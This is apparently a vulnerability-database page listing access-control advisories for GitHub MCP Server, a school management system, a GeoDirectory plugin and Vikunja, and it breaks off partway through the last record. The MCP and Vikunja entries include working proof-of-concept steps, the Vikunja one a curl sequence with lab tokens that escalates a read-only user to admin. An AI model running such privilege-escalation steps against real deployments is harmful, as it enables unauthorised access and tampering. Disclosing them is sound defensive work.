CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
11535 vulnerabilities reference this CWE, most recent first.
GHSA-PJP5-FPMR-3349
Vulnerability from github – Published: 2026-06-25 21:32 – Updated: 2026-06-25 21:32Summary
When running in HTTP mode with --lockdown-mode enabled, the RepoAccessCache is implemented as a process-global singleton initialized with the first authenticated user's GraphQL client. All subsequent requests from different users share this singleton and their lockdown-related GraphQL queries are executed using the first user's credentials. The singleton is never updated to reflect later users' tokens.
Details
The singleton is defined in pkg/lockdown/lockdown.go:
var (
instance *RepoAccessCache
instanceMu sync.Mutex
)
func GetInstance(client *githubv4.Client, opts ...RepoAccessOption) *RepoAccessCache {
instanceMu.Lock()
defer instanceMu.Unlock()
if instance == nil {
instance = &RepoAccessCache{
client: client, // only stored on first call
}
}
return instance // subsequent callers receive the same object regardless of their client
}
In HTTP mode, pkg/github/dependencies.go calls this per request:
func (d *RequestDeps) GetRepoAccessCache(ctx context.Context) (*lockdown.RepoAccessCache, error) {
gqlClient, err := d.GetGQLClient(ctx) // creates client with request's token
...
instance := lockdown.GetInstance(gqlClient, d.RepoAccessOpts...)
// gqlClient is silently dropped if singleton already exists
return instance, nil
}
The singleton's internal client field is never updated after the first initialization. All lockdown GraphQL queries that check repository access and visibility (queryRepoAccessInfo, called by IsSafeContent) run under the first authenticated user's token for the lifetime of the process.
IsSafeContent is called in at least six places across pkg/github/issues.go and pkg/github/pullrequests.go to decide whether to trust or sanitize content from external contributors.
PoC
The following program demonstrates that two distinct GraphQL clients produce the same singleton pointer, confirming that the second client is discarded:
package main
import (
"fmt"
"net/http"
"github.com/github/github-mcp-server/pkg/lockdown"
"github.com/shurcooL/githubv4"
)
func main() {
httpClientA := &http.Client{}
httpClientB := &http.Client{}
gqlClientA := githubv4.NewEnterpriseClient("https://api.github.com/graphql", httpClientA)
gqlClientB := githubv4.NewEnterpriseClient("https://api.github.com/graphql", httpClientB)
fmt.Printf("gqlClientA (user A token): %p\n", gqlClientA)
fmt.Printf("gqlClientB (user B token): %p\n", gqlClientB)
fmt.Printf("clients are different objects: %v\n\n", gqlClientA != gqlClientB)
instanceForA := lockdown.GetInstance(gqlClientA)
instanceForB := lockdown.GetInstance(gqlClientB)
fmt.Printf("lockdown instance returned for user A: %p\n", instanceForA)
fmt.Printf("lockdown instance returned for user B: %p\n", instanceForB)
fmt.Printf("same singleton returned for both users: %v\n", instanceForA == instanceForB)
}
Output:
gqlClientA (user A token): 0x400044070
gqlClientB (user B token): 0x400044078
clients are different objects: true
lockdown instance returned for user A: 0x400002ecc0
lockdown instance returned for user B: 0x400002ecc0
same singleton returned for both users: true
Impact
This affects deployments running the HTTP server with --lockdown-mode, which is the intended configuration for multi-user scenarios such as GitHub Copilot's managed MCP endpoint.
Three concrete consequences:
First, the ViewerLogin field in cache entries always reflects the first authenticated user's identity. The IsSafeContent check repoInfo.ViewerLogin == strings.ToLower(username) compares this stale value against each subsequent user's login, producing incorrect results for all users except the first.
Second, repository visibility and collaborator access data stored in the cache is evaluated through the first user's token. If user A cannot see a private repository but user B can (or vice versa), the cached isPrivate and hasPushAccess values will reflect user A's view of that repository, causing IsSafeContent to return wrong decisions for user B. In lockdown mode, a wrong true result means potentially injected content from untrusted external contributors is passed to the model without sanitization.
Third, if the first user's token is revoked or expires, all subsequent lockdown GraphQL queries fail with authentication errors. Since getRepoAccessInfo propagates these errors, IsSafeContent returns an error for every request, breaking lockdown protection for all users until the process is restarted.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/github/github-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "1.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48529"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T21:32:09Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen running in HTTP mode with --lockdown-mode enabled, the RepoAccessCache is implemented as a process-global singleton initialized with the first authenticated user\u0027s GraphQL client. All subsequent requests from different users share this singleton and their lockdown-related GraphQL queries are executed using the first user\u0027s credentials. The singleton is never updated to reflect later users\u0027 tokens.\n\n### Details\n\nThe singleton is defined in pkg/lockdown/lockdown.go:\n\n```go\nvar (\n instance *RepoAccessCache\n instanceMu sync.Mutex\n)\n\nfunc GetInstance(client *githubv4.Client, opts ...RepoAccessOption) *RepoAccessCache {\n instanceMu.Lock()\n defer instanceMu.Unlock()\n if instance == nil {\n instance = \u0026RepoAccessCache{\n client: client, // only stored on first call\n }\n }\n return instance // subsequent callers receive the same object regardless of their client\n}\n```\n\nIn HTTP mode, pkg/github/dependencies.go calls this per request:\n\n```go\nfunc (d *RequestDeps) GetRepoAccessCache(ctx context.Context) (*lockdown.RepoAccessCache, error) {\n gqlClient, err := d.GetGQLClient(ctx) // creates client with request\u0027s token\n ...\n instance := lockdown.GetInstance(gqlClient, d.RepoAccessOpts...)\n // gqlClient is silently dropped if singleton already exists\n return instance, nil\n}\n```\n\nThe singleton\u0027s internal client field is never updated after the first initialization. All lockdown GraphQL queries that check repository access and visibility (queryRepoAccessInfo, called by IsSafeContent) run under the first authenticated user\u0027s token for the lifetime of the process.\n\nIsSafeContent is called in at least six places across pkg/github/issues.go and pkg/github/pullrequests.go to decide whether to trust or sanitize content from external contributors.\n\n### PoC\n\nThe following program demonstrates that two distinct GraphQL clients produce the same singleton pointer, confirming that the second client is discarded:\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"github.com/github/github-mcp-server/pkg/lockdown\"\n \"github.com/shurcooL/githubv4\"\n)\n\nfunc main() {\n httpClientA := \u0026http.Client{}\n httpClientB := \u0026http.Client{}\n gqlClientA := githubv4.NewEnterpriseClient(\"https://api.github.com/graphql\", httpClientA)\n gqlClientB := githubv4.NewEnterpriseClient(\"https://api.github.com/graphql\", httpClientB)\n\n fmt.Printf(\"gqlClientA (user A token): %p\\n\", gqlClientA)\n fmt.Printf(\"gqlClientB (user B token): %p\\n\", gqlClientB)\n fmt.Printf(\"clients are different objects: %v\\n\\n\", gqlClientA != gqlClientB)\n\n instanceForA := lockdown.GetInstance(gqlClientA)\n instanceForB := lockdown.GetInstance(gqlClientB)\n\n fmt.Printf(\"lockdown instance returned for user A: %p\\n\", instanceForA)\n fmt.Printf(\"lockdown instance returned for user B: %p\\n\", instanceForB)\n fmt.Printf(\"same singleton returned for both users: %v\\n\", instanceForA == instanceForB)\n}\n```\n\nOutput:\n\n```\ngqlClientA (user A token): 0x400044070\ngqlClientB (user B token): 0x400044078\nclients are different objects: true\n\nlockdown instance returned for user A: 0x400002ecc0\nlockdown instance returned for user B: 0x400002ecc0\nsame singleton returned for both users: true\n```\n\n\u003cimg width=\"1642\" height=\"450\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bec46420-9ba7-458e-8710-62f951cb836a\" /\u003e\n\n\n### Impact\n\nThis affects deployments running the HTTP server with --lockdown-mode, which is the intended configuration for multi-user scenarios such as GitHub Copilot\u0027s managed MCP endpoint.\n\nThree concrete consequences:\n\nFirst, the ViewerLogin field in cache entries always reflects the first authenticated user\u0027s identity. The IsSafeContent check `repoInfo.ViewerLogin == strings.ToLower(username)` compares this stale value against each subsequent user\u0027s login, producing incorrect results for all users except the first.\n\nSecond, repository visibility and collaborator access data stored in the cache is evaluated through the first user\u0027s token. If user A cannot see a private repository but user B can (or vice versa), the cached isPrivate and hasPushAccess values will reflect user A\u0027s view of that repository, causing IsSafeContent to return wrong decisions for user B. In lockdown mode, a wrong true result means potentially injected content from untrusted external contributors is passed to the model without sanitization.\n\nThird, if the first user\u0027s token is revoked or expires, all subsequent lockdown GraphQL queries fail with authentication errors. Since getRepoAccessInfo propagates these errors, IsSafeContent returns an error for every request, breaking lockdown protection for all users until the process is restarted.",
"id": "GHSA-pjp5-fpmr-3349",
"modified": "2026-06-25T21:32:09Z",
"published": "2026-06-25T21:32:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/github/github-mcp-server/security/advisories/GHSA-pjp5-fpmr-3349"
},
{
"type": "PACKAGE",
"url": "https://github.com/github/github-mcp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "GitHub MCP Server: Lockdown mode singleton in HTTP server causes cross-user GraphQL client confusion"
}
GHSA-PJPH-5C8J-WM5G
Vulnerability from github – Published: 2024-08-07 18:30 – Updated: 2024-08-08 15:31An Incorrect Access Control vulnerability was found in /smsa/view_marks.php in Kashipara Responsive School Management System v3.2.0, which allows remote unauthenticated attackers to view MARKS details.
{
"affected": [],
"aliases": [
"CVE-2024-41243"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-07T17:15:51Z",
"severity": "MODERATE"
},
"details": "An Incorrect Access Control vulnerability was found in /smsa/view_marks.php in Kashipara Responsive School Management System v3.2.0, which allows remote unauthenticated attackers to view MARKS details.",
"id": "GHSA-pjph-5c8j-wm5g",
"modified": "2024-08-08T15:31:29Z",
"published": "2024-08-07T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41243"
},
{
"type": "WEB",
"url": "https://github.com/takekaramey/CVE_Writeup/blob/main/Kashipara/Responsive%20School%20Management%20System%20v3.2.0/Broken%20Access%20Control%20-%20Admin%20-%20View%20Marks.pdf"
},
{
"type": "WEB",
"url": "https://www.kashipara.com/project/php/12362/responsive-school-management-system-php-project-source-code"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJPH-X42V-FP6X
Vulnerability from github – Published: 2026-10-24 06:30 – Updated: 2026-10-24 15:32The GeoDirectory WordPress plugin before 2.8.194 does not correctly verify ownership of listings submitted by logged-out users before allowing them to be edited, allowing unauthenticated attackers to modify, unpublish, attach images to, or reassign any guest-submitted listing when guest posting is enabled.
{
"affected": [],
"aliases": [
"CVE-2026-113674"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-24T06:16:37Z",
"severity": "LOW"
},
"details": "The GeoDirectory WordPress plugin before 2.8.194 does not correctly verify ownership of listings submitted by logged-out users before allowing them to be edited, allowing unauthenticated attackers to modify, unpublish, attach images to, or reassign any guest-submitted listing when guest posting is enabled.",
"id": "GHSA-pjph-x42v-fp6x",
"modified": "2026-10-24T15:32:53Z",
"published": "2026-10-24T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113674"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/23e66ca1-50eb-4ac1-9f5f-f830235c5af0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJR3-86V4-5P7W
Vulnerability from github – Published: 2026-10-09 20:57 – Updated: 2026-10-28 15:14Description
Summary
In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as the MAX over the entire reachable project subtree. As a result, when a user has been granted a higher permission on a parent project and the owner explicitly shares a child project with that same user at a lower permission (an intended down-restriction), the explicit lower grant is silently ignored and the user receives the higher, inherited permission on the child. A user who was deliberately restricted to read-only on a sensitive sub-project can therefore modify it, delete it, and re-share it (including granting other users admin) - none of which the owner intended. This is a behavior regression from v2.5.0, whose engine used "nearest-ancestor-grant-wins" semantics that honored the explicit child grant.
Details
Effective permissions are computed by a single recursive CTE in
pkg/models/project_access.go (getProjectAccessForUser):
WITH RECURSIVE grants (project_id, permission) AS (
SELECT project_id, MAX(permission) FROM (
SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?
UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?
UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp
INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?
) direct_grants GROUP BY project_id
),
tree (id, permission) AS (
SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id
UNION
SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id
)
SELECT id, MAX(permission) AS permission FROM tree GROUP BY id
For a parent P where the user has a direct ADMIN(2) grant and a child C (with
parent_project_id = P) where the user has a direct READ(0) grant, the tree CTE produces the rows
(P,2), (C,0) (direct grants) and (C,2) (the parent grant propagated down the recursion). The
final SELECT id, MAX(permission) ... GROUP BY id collapses the child to MAX(0, 2) = 2 (ADMIN). The
explicit READ grant on C is discarded.
In v2.5.0 the equivalent resolution used ROW_NUMBER() OVER (... ORDER BY priority) (nearest-ancestor
wins), so the child's own direct grant took precedence and the down-restriction was honored. The switch
to MAX(...) in v2.6.0 introduces the override. Code comments in project_access.go describe the
additive behavior as intentional ("a grant on a descendant can raise an inherited permission, never
lower it"), so the maintainers may consider this working-as-intended - but it is a security-relevant
regression that silently defeats an explicit, owner-configured access restriction, so it is reported
here for a decision.
PoC
Target: http://localhost:3456 (Vikunja v2.6.0). Owner: admin. Restricted collaborator: alice
(id 2). Third party used to demonstrate re-sharing: bob. Note Vikunja's v1 REST convention: PUT =
create, POST = update. All values below are the real, unredacted values from the run.
Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
-d '{"username":"admin","password":"VikunjaLab123!"}'
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"AliceLab123!"}'
Real tokens issued:
admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg
alice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)
# parent (id 18)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"title":"FinanceRoot"}'
# child of parent 18 (id 19)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"title":"Q4-Payroll-CONFIDENTIAL","parent_project_id":18}'
# standalone control (id 20)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"title":"ControlStandalone"}'
Result: parent id=18, child id=19 (parent_project_id=18), control id=20.
Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)
curl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":2}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}' # -> 201
Confirm the recorded child grant is READ(0):
curl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer <admin-token>'
# -> [{"id":..,"username":"alice","permission":0, ...}] (0 = Read only)
Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)
curl
curl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \
-d '{"username":"bob","permission":2}'
Burp / raw HTTP request
PUT /api/v1/projects/19/users HTTP/1.1
Host: localhost:3456
User-Agent: curl/8.20.0
Accept: */*
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
Content-Length: 33
{"username":"bob","permission":2}
Raw HTTP response
HTTP/1.1 201 Created
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 128
{"id":12,"username":"bob","permission":2,"created":"2026-09-07T17:39:34.158776607Z","updated":"2026-09-07T17:39:34.158778081Z"}
alice - restricted to READ on project 19 - successfully granted bob ADMIN(2) on it (a share-management operation that requires project admin). She can equally modify it:
# write op (POST = update); succeeds -> HTTP 200
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:3456/api/v1/projects/19 \
-H 'Content-Type: application/json' -H 'Authorization: Bearer <alice-token>' \
-d '{"title":"Q4-Payroll-TAMPERED-BY-ALICE"}'
# -> 200
Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ
curl
curl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <alice-token>' -d '{"username":"bob","permission":0}'
Raw HTTP response
HTTP/1.1 403 Forbidden
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 33
{"code":0,"message":"Forbidden"}
The single-variable differential: alice's identical READ(0) grant denies the admin operation on a standalone project (403), but the same READ(0) grant on a child of a project where she holds ADMIN is silently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the inherited-permission override, not to alice's explicit grant.
Impact
This is a broken access control / improper privilege management issue (CWE-269). A project owner who
grants a collaborator a high permission on a parent project and then explicitly shares a sensitive
sub-project with that collaborator at a lower permission (e.g. read-only) does not get the
restriction they configured: the collaborator silently retains the higher inherited permission on the
sub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:
granting bob ADMIN on the read-restricted child). This defeats an explicit, security-relevant
configuration and can expose or allow tampering with data on sub-projects that were meant to be
restricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The
prerequisite is that the attacker already holds a higher permission on an ancestor project; the security
loss is specifically the inability to enforce a narrower permission on a descendant.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.7.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.6.0"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:57:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Description\n\n### Summary\n\nIn Vikunja v2.6.0 the project-permission engine resolves a user\u0027s effective permission on a project as\nthe **MAX over the entire reachable project subtree**. As a result, when a user has been granted a\n**higher** permission on a parent project and the owner *explicitly* shares a **child** project with\nthat same user at a **lower** permission (an intended down-restriction), the explicit lower grant is\n**silently ignored** and the user receives the higher, inherited permission on the child. A user\nwho was deliberately restricted to **read-only** on a sensitive sub-project can therefore modify it,\ndelete it, and re-share it (including granting other users admin) - none of which the owner intended.\nThis is a behavior regression from v2.5.0, whose engine used \"nearest-ancestor-grant-wins\" semantics\nthat honored the explicit child grant.\n\n### Details\n\nEffective permissions are computed by a single recursive CTE in\n`pkg/models/project_access.go` (`getProjectAccessForUser`):\n\n```sql\nWITH RECURSIVE grants (project_id, permission) AS (\n SELECT project_id, MAX(permission) FROM (\n SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?\n UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?\n UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp\n INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?\n ) direct_grants GROUP BY project_id\n),\ntree (id, permission) AS (\n SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id\n UNION\n SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id\n)\nSELECT id, MAX(permission) AS permission FROM tree GROUP BY id\n```\n\nFor a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with\n`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows\n`(P,2)`, `(C,0)` (direct grants) **and** `(C,2)` (the parent grant propagated down the recursion). The\nfinal `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The\nexplicit READ grant on `C` is discarded.\n\nIn v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor\nwins), so the child\u0027s own direct grant took precedence and the down-restriction was honored. The switch\nto `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the\nadditive behavior as intentional (\"a grant on a descendant can raise an inherited permission, never\nlower it\"), so the maintainers may consider this working-as-intended - but it is a security-relevant\nregression that silently defeats an explicit, owner-configured access restriction, so it is reported\nhere for a decision.\n\n### PoC\n\nTarget: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`\n(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja\u0027s v1 REST convention: **`PUT` =\ncreate, `POST` = update**. All values below are the **real, unredacted** values from the run.\n\n#### Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)\n\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/login -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"admin\",\"password\":\"VikunjaLab123!\"}\u0027\ncurl -s -X POST http://localhost:3456/api/v1/login -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"alice\",\"password\":\"AliceLab123!\"}\u0027\n```\n\nReal tokens issued:\n```\nadmin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg\nalice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\n```\n\n#### Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)\n\n```bash\n# parent (id 18)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"title\":\"FinanceRoot\"}\u0027\n# child of parent 18 (id 19)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"title\":\"Q4-Payroll-CONFIDENTIAL\",\"parent_project_id\":18}\u0027\n# standalone control (id 20)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"title\":\"ControlStandalone\"}\u0027\n```\nResult: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.\n\n#### Step 3 - Owner grants: parent \u2192 alice ADMIN(2); child \u2192 alice READ(0) (the intended down-restriction); control \u2192 alice READ(0)\n\n```bash\ncurl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"username\":\"alice\",\"permission\":2}\u0027 # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"username\":\"alice\",\"permission\":0}\u0027 # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027 -d \u0027{\"username\":\"alice\",\"permission\":0}\u0027 # -\u003e 201\n```\n\nConfirm the recorded child grant is READ(0):\n```bash\ncurl -s http://localhost:3456/api/v1/projects/19/users -H \u0027Authorization: Bearer \u003cadmin-token\u003e\u0027\n# -\u003e [{\"id\":..,\"username\":\"alice\",\"permission\":0, ...}] (0 = Read only)\n```\n\n#### Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\u0027 \\\n -d \u0027{\"username\":\"bob\",\"permission\":2}\u0027\n```\n\n**Burp / raw HTTP request**\n\n```http\nPUT /api/v1/projects/19/users HTTP/1.1\nHost: localhost:3456\nUser-Agent: curl/8.20.0\nAccept: */*\nContent-Type: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\nContent-Length: 33\n\n{\"username\":\"bob\",\"permission\":2}\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 201 Created\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 128\n\n{\"id\":12,\"username\":\"bob\",\"permission\":2,\"created\":\"2026-09-07T17:39:34.158776607Z\",\"updated\":\"2026-09-07T17:39:34.158778081Z\"}\n```\n\nalice - restricted to READ on project 19 - successfully granted **bob ADMIN(2)** on it (a share-management\noperation that requires project admin). She can equally modify 